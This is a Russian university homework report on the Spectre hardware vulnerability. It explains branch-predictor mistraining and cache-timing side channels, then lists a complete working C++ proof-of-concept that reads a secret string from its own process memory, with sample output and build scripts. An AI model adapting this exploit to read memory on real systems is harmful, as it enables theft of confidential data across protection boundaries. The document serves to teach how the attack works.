САНКТ-ПЕТЕРБУРГСКИЙ НАЦИОНАЛЬНЫЙ ИССЛЕДОВАТЕЛЬСКИЙ УНИВЕРСИТЕТ ИТМО

Дисциплина: Архитектура ЭВМ

Отчет

по домашней работе №6

«Spectre»

Выполнил: Панюхин Никита Константинович

Номер ИСУ: 334964

студ. гр. М3138

Санкт-Петербург

2022

Цель работы: знакомство с аппаратной уязвимостью Spectre.

Инструментарий и требования к работе: C/C++.

Теоретическая часть

Spectre – аппаратная уязвимость процессоров. Механизм её работы основан на спекулятивном выполнении. В данном случае рассматривается предсказание условного перехода (например, структура `if-else`):

Поскольку современные процессоры выполняют множество операций параллельно, существует и активно используется оптимизация условных переходов. Существует множество различных техник, Spectre использует самую простую из них – branch prediction, то есть предсказание результата условного перехода без дополнительного вычисления какого-либо пользовательского кода. Самый простой блок предсказания лишь запоминает количество переходов в ту или иную ветку, чтобы при новом вызове запустить выполнение самого частного направления заранее. В современных процессорах это, конечно, более сложная схема (например, она сможет распознать чередующиеся вызовы и т.п.), но даже простой нам будет достаточно. Главное в этой схеме (для уязвимости), что положительная ветка условного перехода может при некоторых условиях выполнится даже при отрицательном условии.

Как создать такие условия: какой бы сложный не был предсказатель, если мы подадим ему на вход очень много положительных результатов, он предскажет положительный результат после этого. Таким образом посылая много запросов с положительным ответом, мы рассчитываем, что следующий вызов будет предсказан как положительный, даже если он таким не является.

Чем это полезно (для уязвимости): уязвимость Spectre “специализируется” на чтении данных памяти, потенциально конфиденциальных, без прямого доступа к ним. Чтобы этого добиться с помощью указанного выше предсказания условного перехода можно сделать следующее:

Поставим в условный переход обращение к памяти. Пусть желаемый объект хранится по адресу `target`, тогда чтобы получить его нам необходимо, чтобы выполнился аналог, когда `get(target)`. Однако такой код пользователь не позволит запустить, но позволит запустить `get(my_value)`, где `my_value` никогда не принимает значение `target`… в идеальном случае, но из-за ошибки предсказания он может принять значение `target`, что нам и нужно. Таким образом мы посылаем множество положительных запросов к условному оператору, добиваемся следующего положительного предсказания и посылаем значение `target`, при этом `get(target)` исполняется раньше, чем проверка значения target.

Однако всё не так просто – как только закончится вычисление результата условного перехода, процессор поймёт, что совершил ошибку и попытается вернуть всё в первоначальное состояние. Все значения переменных вернуться, однако за счёт того, что в процессорах есть кэш, мы всё ещё сможем понять, какой был ответ `get(target)` по времени отклика обращения к ячейкам памяти (попадание в кэш или нет). Для этого потребуется очень точный измеритель “времени” и в целом очень точные низкоуровневые запросы, поэтому был выбран язык C, который позже был заменён на C++ из-за несущественных различий.

Практическая часть

Код был написан на языке C++, в файле `spectre.cpp` присутствуют небольшие комментарии. Однако основной принцип уязвимости был описан в теоретической части, остаётся только реализовать его на выбранном языке. Среди специфичных функций реализации: функции языка C++:

- `_mm_clflush` – Очищает из памяти объект/массив
- `_mm_mfence` – ожидает завершения всех операций с памятью/кэшем
- `__rdtscp` – достаточно точный таймер для измерения времени обращения к ячейке памяти

Программа работает как с отключённой оптимизацией (`O0`), так и с включённой (`Ofast`, `sse`, `avx2` и т.п.), что является преимуществом. Компилятор, использовавшийся для тестирования указан в разделе Листинг.

Листинг

Компилятор: gcc version 8.1.0 (x86_64-posix-seh-rev0, Built by MinGW-W64 project)

spectre.cpp

```
// #include <stdlib.h>
#include <stdint.h>
#include <stdio.h>

#include <algorithm>
#include <iostream>
// #include <cstring>

#include <intrin.h>  // x64
// #include <x86intrin.h> // x32

#pragma GCC optimize("Ofast")
#pragma GCC target("sse,sse2,sse3,ssse3,sse4,popcnt,abm,mmx,tune=native")
#pragma GCC target("avx2")


using namespace std;

// ------------------------------------------------------ Target code ----------------------
------------------------------

size_t array1_size = 1;  // Tried 8, 16, 32
unsigned char array1[1] = {107};

unsigned char array2[256 * 1024];

const char *TARGET = "There is no \"Exception\" in this library";

unsigned char no_optimize = 0;
void just_an_ordinary_function(size_t x) {
	if (x < array1_size) no_optimize |= array2[array1[x] * 1024];
}


// ------------------------------------------------------ Analysis code ----------------------
------------------------------

#define CACHE_THRESHOLD (120)
#define LOOPS (50)

pair<pair<char, char>, unsigned int*> get_byte(size_t target_pos) {
	unsigned int results[256] = {0};
	int best, second_best;

	unsigned int tmp = 0;
	size_t x, y;
	volatile unsigned char *tmp_addr;

	uint64_t tmp_time, mem_access_time;

	for (int attempt = 0; attempt < 1000; ++attempt) {

		for (int i = 0; i < 256; ++i) _mm_clflush(&array2[i * 1024]);  // Clear array2

		y = attempt % array1_size;
		for (int j = 0; j < LOOPS; ++j) {
```

```
                    _mm_clflush(&array1_size);  // Clear array1

                    _mm_mfence();  // Wait to finish all operations
                    for (volatile int i = 0; i < 250; ++i) {} // Extra delay, could be
smaller

                    // just_an_ordinary_function(j % 7 == 0 ? target_pos + attempt : 0);  //
Old

                    x = ((j % 6) - 1) & ~USHRT_MAX;
                    x = (x >> 16) | x;
                    x = (x & (target_pos ^ y)) ^ y;
                    just_an_ordinary_function(x);
             }

             for (int i = 0; i < 256; ++i) {
                    int j = ((i * 107) + 11) & 255;  // Mixing values of i ([0:256), no
optimization
                    tmp_addr = &array2[j * 1024];

                    tmp_time = __rdtscp(&tmp);
                    tmp = *tmp_addr;
                    mem_access_time = __rdtscp(&tmp) - tmp_time;

                    // Cache hit
                    if (j != array1[attempt % array1_size] && mem_access_time <=
CACHE_THRESHOLD) ++results[j];
             }

             // Max value and second max value
             best = -1;
             second_best = -1;
             for (int i = 0; i < 256; ++i) {
                    if (best == -1 || results[i] >= results[best]) {
                           second_best = best;
                           best = i;
                    } else if (second_best == -1 || results[i] >= results[second_best]) {
                           second_best = i;
                    }
             }

             if (results[best] >= (2 * results[second_best]) || (results[best] == 2 &&
results[second_best] == 0)) break;
       }

       results[0] ^= tmp;  // "tmp" is used (not optimized)

       return make_pair(make_pair(best, second_best), results);
}


int main(int argc, char* argv[]) {
       // ios_base::sync_with_stdio(false);cin.tie(NULL);cout.tie(NULL);

       char * new_target;

       size_t target_pos;
       int len = 39;  // Target length

       // Fill array2
       for (int i = 0; i < sizeof(array2); ++i) array2[i] = 1;


       if (argc >= 3) {
```

```
            target_pos = (size_t)(argv[1] - (char *) array1);
            sscanf(argv[2], "%d", &len);
      } else {
            target_pos = (size_t)(TARGET - (char *) array1);
      }

      char result[len];
      pair<pair<char, char>, unsigned int*> cur_guess;

      if (argc >= 4) {
            FILE * output = fopen(argv[3], "w");
          // fprintf(output, "P%d\n%d %d\n%d\n", (colored ? 6 : 5), width, height,
color_space);

          fprintf(output, "Reading %d bytes:\n", len);
            for (int i = 0; i < len; ++i) {
                  fprintf(output, "Reading 0x%X... ", (void *) target_pos);

                  cur_guess = get_byte(target_pos++);
                  fprintf(output, "%s: ", (cur_guess.second[0] >= 2 * cur_guess.second[1]
? "Success" : "Unclear"));

                  result[i] = ((cur_guess.first.first > 31 && cur_guess.first.first < 127)
? cur_guess.first.first : '?');

                  fprintf(output, "0x%02X='%c' hits=%d", cur_guess.first.first, result[i],
cur_guess.second[0]);

                  if (cur_guess.second[1] > 0) fprintf(output, " (second best: 0x%02X
hits=%d)", cur_guess.first.second, cur_guess.second[1]);

                  fprintf(output, "\n");
            }

            for (int i = 0; i < len; ++i) fprintf(output, "%c", result[i]);
            fprintf(output, "\n");


          fclose(output);

      } else {
            cout << "Reading " << len << " bytes:" << endl;
            for (int i = 0; i < len; ++i) {
                  cout << "Reading " << (void *) target_pos << "... ";

                  cur_guess = get_byte(target_pos++);
                  printf("%s: ", (cur_guess.second[0] >= 2 * cur_guess.second[1] ?
"Success" : "Unclear"));

                  result[i] = ((cur_guess.first.first > 31 && cur_guess.first.first < 127)
? cur_guess.first.first : '?');

                  printf("0x%02X='%c' hits=%d", cur_guess.first.first, result[i],
cur_guess.second[0]);

                  if (cur_guess.second[1] > 0) printf(" (second best: 0x%02X hits=%d)",
cur_guess.first.second, cur_guess.second[1]);

                  cout << endl;
            }

            for (int i = 0; i < len; ++i) cout << result[i];
            cout << endl;
      }
```

```
}
```

output.txt

```
Reading 7 bytes:
Reading 0xFFCAD718... Success: 0x4D='M' hits=2
Reading 0xFFCAD719... Success: 0x59='Y' hits=2
Reading 0xFFCAD71A... Success: 0x20=' ' hits=2
Reading 0xFFCAD71B... Success: 0x54='T' hits=2
Reading 0xFFCAD71C... Success: 0x45='E' hits=2
Reading 0xFFCAD71D... Success: 0x58='X' hits=2
Reading 0xFFCAD71E... Success: 0x54='T' hits=2
MY TEXT
```

run.cmd

```
cls && "C:\Program Files\mingw-w64\x86_64-8.1.0-posix-seh-rt_v6-rev0\mingw64\bin\g++.exe"
"spectre.cpp" -o "spectre.exe" && "spectre.exe"
```

run_arg.cmd

```
cls && "C:\Program Files\mingw-w64\x86_64-8.1.0-posix-seh-rt_v6-rev0\mingw64\bin\g++.exe"
"spectre.cpp" -o "spectre.exe" && "spectre.exe" "MY TEXT" 7 "output.txt"
```